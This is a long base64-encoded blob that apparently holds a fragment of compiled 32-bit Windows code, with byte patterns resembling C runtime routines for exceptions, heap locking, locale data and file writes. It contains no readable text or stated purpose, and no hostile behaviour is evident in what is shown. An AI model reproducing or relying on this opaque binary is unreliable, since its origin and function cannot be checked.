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gg7BXB7ARB0B1DoTrb//1mLRjA7BZh7ARB0B1DoPLb//1mLRjQ7BZx7ARB0B1DoKrb//1leXcNVi+xWi3UIhfYPhG4DAAD/dgToD7b///92COgHtv///3YM6P+1////dhDo97X///92FOjvtf///3YY6Oe1////Nujgtf///3Yg6Ni1////diTo0LX///92KOjItf///3Ys6MC1////djDouLX///92NOiwtf///3Yc6Ki1////djjooLX///92POiYtf//g8RA/3ZA6I21////dkTohbX///92SOh9tf///3ZM6HW1////dlDobbX///92VOhltf///3ZY6F21////dlzoVbX///92YOhNtf///3Zk6EW1////dmjoPbX///92bOg1tf///3Zw6C21////dnToJbX///92eOgdtf///3Z86BW1//+DxED/toAAAADoB7X///+2hAAAAOj8tP///7aIAAAA6PG0////towAAADo5rT///+2kAAAAOjbtP///7aUAAAA6NC0////tpgAAADoxbT///+2nAAAAOi6tP///7agAAAA6K+0////tqQAAADopLT///+2qAAAAOiZtP///7a4AAAA6I60////trwAAADog7T///+2wAAAAOh4tP///7bEAAAA6G20////tsgAAADoYrT//4PEQP+2zAAAAOhUtP///7a0AAAA6Em0////ttQAAADoPrT///+22AAAAOgztP///7bcAAAA6Ci0////tuAAAADoHbT///+25AAAAOgStP///7boAAAA6Ae0////ttAAAADo/LP///+27AAAAOjxs////7bwAAAA6Oaz////tvQAAADo27P///+2+AAAAOjQs////7b8AAAA6MWz////tgABAADourP///+2BAEAAOivs///g8RA/7YIAQAA6KGz////tgwBAADolrP///+2EAEAAOiLs////7YUAQAA6ICz////thgBAADodbP///+2HAEAAOhqs////7YgAQAA6F+z////tiQBAADoVLP///+2KAEAAOhJs////7YsAQAA6D6z////tjABAADoM7P///+2NAEAAOgos////7Y4AQAA6B2z////tjwBAADoErP///+2QAEAAOgHs////7ZEAQAA6Pyy//+DxED/tkgBAADo7rL///+2TAEAAOjjsv///7ZQAQAA6Niy/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s///4MgAIPP/4l95MdF/P7////oCgAAAIvH6ymLdQiLfeRW6GcSAABZw+jGz///gyAA6PLP///HAAkAAADoucH//4PI/+hQp///w1WL7LjwGgAA6K0TAAChwHABEDPFiUX8i0UIi00MM9JXi/qJhUDl//+JjUTl//+JvTzl//+JlSzl//85VRB1BzPA6dcHAACFyXUf6FvP//8hOOiIz///xwAWAAAA6E/B//+DyP/ptAcAAFNWi8jB+QWL8IPmH8HmBomNMOX//4sMjWiMARCJtRTl//+KXA4kAtvQ+4D7AnQFgPsBdSuLRRD30KgBdRzo/87//yE46CzP///HABYAAADo88D//+lMBwAAi4VA5f//9kQOBCB0DWoCUlJQ6E0IAACDxBD/tUDl///o4/3//1mFwA+EGAMAAIuFMOX//4sEhWiMARD2RAYEgA+EAAMAAOi8uP//i0BsM8k5iKgAAACNhRzl//9Qi4Uw5f//D5TBiwSFaIwBEP80BomNQOX///8V9PAAEIXAD4TCAgAAOb1A5f//dAiE2w+EsgIAAP8V8PAAEIuVROX//yG9JOX//4vKiYUQ5f//iY005f//OX0QD4Z+AgAAM8CJhTjl///HhRjl//8KAAAAhNsPhY8BAACKCTPAgPkKD5TAiYVA5f//i4Uw5f//ixSFaIwBEIN8FjgAdBeKRBY0iEX0agKNRfSITfWDZBY4AFDrWg++wVDoQvv//1mFwHREi4VE5f//i5U05f//K8IDRRCD+AEPhtMBAABqAlKNhTzl//9Q6FIRAACDxAyD+P8PhNsBAACLhTTl//9A/4U45f//6yZqAf+1NOX//42FPOX//1DoIxEAAIPEDIP4/w+ErAEAAIuFNOX//zPJUVFA/4U45f//agWJhTTl//+NRfRQagGNhTzl//9QUf+1EOX///8VAPAAEImFHOX//4XAD4RrAQAAagCNjSTl//9RUI1F9FCLhTDl//+LBIVojAEQ/zQG/xVY8AAQhcAPhOsEAACLvTjl//+LhRzl//8DvSzl//85hSTl//8PjCEBAACDvUDl//8AD4TaAAAAagCNhSTl//9QagGNRfRQi4Uw5f//xkX0DYsEhWiMARD/NAb/FVjwABCFwA+EjwQAAIO9JOX//wEPjNYAAAD/hSzl//9H6ZAAAACA+wF0BYD7AnUzD7cBM9JmO4UY5f//iYU85f//i4U45f//D5TCg8ECg8ACiY005f//iYU45f//iZVA5f//gPsBdAWA+wJ1Vf+1POX//+j7DwAAWWY7hTzl//8PhRYEAACDxwKDvUDl//8AdCRqDVhQiYU85f//6NIPAABZZjuFPOX//w+F7QMAAEf/hSzl//+LhTjl//+LjTTl//87RRAPgsT9///rI4udMOX//4oCiwydaIwBEEeIRA40iwSdaIwBEMdEBjgBAAAAi7VA5f//6akDAACLtUDl///pqAMAAIuFMOX//4sEhWiMARD2RAYEgA+EVQMAAIuVROX//zP2ibU45f//hNsPheEAAACLwomFPOX//zl1EA+GkQMAADPJK8KLlTzl//+NnUjl//+JjUDl//87RRBzRIoKQkCIjSPl//+A+QqLjUDl//+JlTzl//91C/+FLOX//8YDDUNBipUj5f//iBOLlTzl//9DQYmNQOX//4H5/xMAAHK3i40U5f//jYVI5f//K9hqAI2FKOX//1BTjYVI5f//UIuFMOX//4sEhWiMARD/NAH/FVjwABCFwA+EuwIAAAO9KOX//4uVROX//zmdKOX//w+MsQIAAIuFPOX//yvCO0UQi4U85f//D4I1////6ZUCAACLyoD7Ag+F/gAAAImNQOX//zl1EA+GpwIAAMeFGOX//woAAACDpRzl//8Ai70s5f//i8ErwouVHOX//42dSOX//ztFEHM+D7cxg8ECg8ACiY1A5f//Zju1GOX//3UVag1ZZokLi41A5f//g8cCg8MCg8ICZokzg8ICg8MCgfr+EwAAcr2LjRTl//+NhUjl//8r2GoAjYUo5f//UFONhUjl//9Qi4Uw5f//ib0s5f//iwSFaIwBEP80Af8VWPAAEIu1OOX//4u9POX//4XAD4S0AQAAA70o5f//i5VE5f//ib085f//OZ0o5f//D4ykAQAAi41A5f//i8ErwjtFEA+CIP///+mMAQAAi10QiY0k5f//hdsPhKcBAADHhRjl//8KAAAAg6Uc5f//AIu1JOX//yvKi5Uc5f//jYVI+f//O8tzOw+3PoPGAoPBAom1JOX//2Y7vRjl//91EmoNXmaJMIu1JOX//4PAAoPCAmaJOIPCAoPAAoH6qAYAAHLBM/ZWVmhVDQAAjY3w6///UY2NSPn//yvBmSvC0fhQi8FQVmjp/QAA/xUA8AAQi7U45f//i7085f//iYU05f//hcAPhMIAAAAzyYmNQOX//2oAK8GNlSjl//9SUI2F8Ov//wPBi40U5f//UIuFMOX//4sEhWiMARD/NAH/FVjwABCFwHQei41A5f//A40o5f//i4U05f//iY1A5f//O8F/r+sa/xUI8AAQi41A5f//i/CLhTTl//+JtTjl//87wX9Ri40k5f//i5VE5f//i/kr+om9POX//zv7D4LI/v//6zdqAI2NKOX//1H/dRD/tUTl////NAb/FVjwABCFwHQKi70o5f//M/brCP8VCPAAEIvwi5VE5f//hf91Y4X2dCRqBVs783UU6B7I///HAAkAAADo38f//4kY6z9W6OjH//9Z6zaLhTDl//+LjRTl//+LBIVojAEQ9kQBBEB0CYA6GnUEM8DrIOjex///xwAcAAAA6J/H//+DIACDyP/rCCu9LOX//4vHXluLTfwzzV/otHn//8nDahho+FUBEOjUnv//g87/iXXYiXXci30Ig//+dRjoXsf//4MgAOiKx///xwAJAAAA6b0AAACF/w+InQAAADs9gKABEA+DkQAAAIvHwfgFiUXki9+D4x/B4waLBIVojAEQD75EGASD4AF0cFfoMQgAAFmDZfwAi0XkiwSFaIwBEPZEGAQBdBj/dRT/dRD/dQxX6GcAAACDxBCL8Iva6xXoEcf//8cACQAAAOjSxv//gyAAi96JddiJXdzHRfz+////6A0AAACL0+sri30Ii13ci3XYV+hCCQAAWcPoocb//4MgAOjNxv//xwAJAAAA6JS4//+L1ovG6Cqe///DVYvsUVFWi3UIV1bopwgAAIPP/1k7x3UR6JvG///HAAkAAACLx4vX60T/dRSNTfhR/3UQ/3UMUP8V+PAAEIXAdQ//FQjwABBQ6ErG//9Z69OLxsH4BYPmH4sEhWiMARDB5gaAZDAE/YtF+ItV/F9eycNVi+z/BUSQARBWvgAQAABW6L2c//9Zi00IiUEIhcB0CYNJDAiJcRjrEYNJDASNQRSJQQjHQRgCAAAAi0EIg2EEAIkBXl3Diw3AcAEQg8kBM8A5DUiQARAPlMDDVYvsg+wQU4tdDFeLfRCF23UShf90DotFCIXAdAODIAAzwOt/i0UIhcB0A4MI/1aB/////392Eeiwxf//ahZeiTDoeLf//+tY/3UYjU3w6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